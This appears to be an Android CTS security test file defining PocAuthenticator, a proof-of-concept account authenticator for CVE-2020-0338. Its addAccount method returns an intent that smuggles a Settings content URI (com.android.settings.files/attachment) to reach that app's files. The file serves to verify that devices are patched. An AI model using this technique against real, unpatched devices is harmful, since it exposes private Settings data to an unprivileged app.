1 /* 2 * Copyright (C) 2022 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts.CVE_2020_0338; 18 19 import android.accounts.AbstractAccountAuthenticator; 20 import android.accounts.Account; 21 import android.accounts.AccountAuthenticatorResponse; 22 import android.accounts.AccountManager; 23 import android.accounts.NetworkErrorException; 24 import android.content.Context; 25 import android.content.Intent; 26 import android.net.Uri; 27 import android.os.Bundle; 28 29 import java.util.ArrayList; 30 31 public class PocAuthenticator extends AbstractAccountAuthenticator { 32 public static final String ACCOUNT_TYPE = "android.security.cts.CVE_2020_0338"; 33 private static ArrayList<Uri> sSettingsUris = null; 34 Context mContext; 35 PocAuthenticator(Context context)36 public PocAuthenticator(Context context) { 37 super(context); 38 mContext = context; 39 } 40 getSettingsUris()41 public static ArrayList<Uri> getSettingsUris() { 42 if (sSettingsUris == null) { 43 sSettingsUris = new ArrayList<>(); 44 sSettingsUris.add(Uri.parse("content://com.android.settings.files/attachment")); 45 } 46 return sSettingsUris; 47 } 48 49 @Override editProperties(AccountAuthenticatorResponse response, String accountType)50 public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) { 51 return null; 52 } 53 54 @Override addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options)55 public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, 56 String authTokenType, String[] requiredFeatures, Bundle options) 57 throws NetworkErrorException { 58 final Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE); 59 intent.putExtra(Intent.EXTRA_STREAM, getSettingsUris()); 60 intent.setClassName(mContext.getPackageName(), PocActivity.class.getName()); 61 intent.putExtra(AccountManager.KEY_ACCOUNT_TYPE, accountType); 62 intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response); 63 final Bundle bundle = new Bundle(); 64 if (options != null) { 65 bundle.putAll(options); 66 } 67 bundle.putParcelable(AccountManager.KEY_INTENT, intent); 68 return bundle; 69 } 70 71 @Override confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options)72 public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, 73 Bundle options) throws NetworkErrorException { 74 return null; 75 } 76 77 @Override getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options)78 public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, 79 String authTokenType, Bundle options) throws NetworkErrorException { 80 return null; 81 } 82 83 @Override getAuthTokenLabel(String authTokenType)84 public String getAuthTokenLabel(String authTokenType) { 85 return null; 86 } 87 88 @Override updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options)89 public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, 90 String authTokenType, Bundle options) throws NetworkErrorException { 91 return null; 92 } 93 94 @Override hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features)95 public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, 96 String[] features) throws NetworkErrorException { 97 return null; 98 } 99 } 100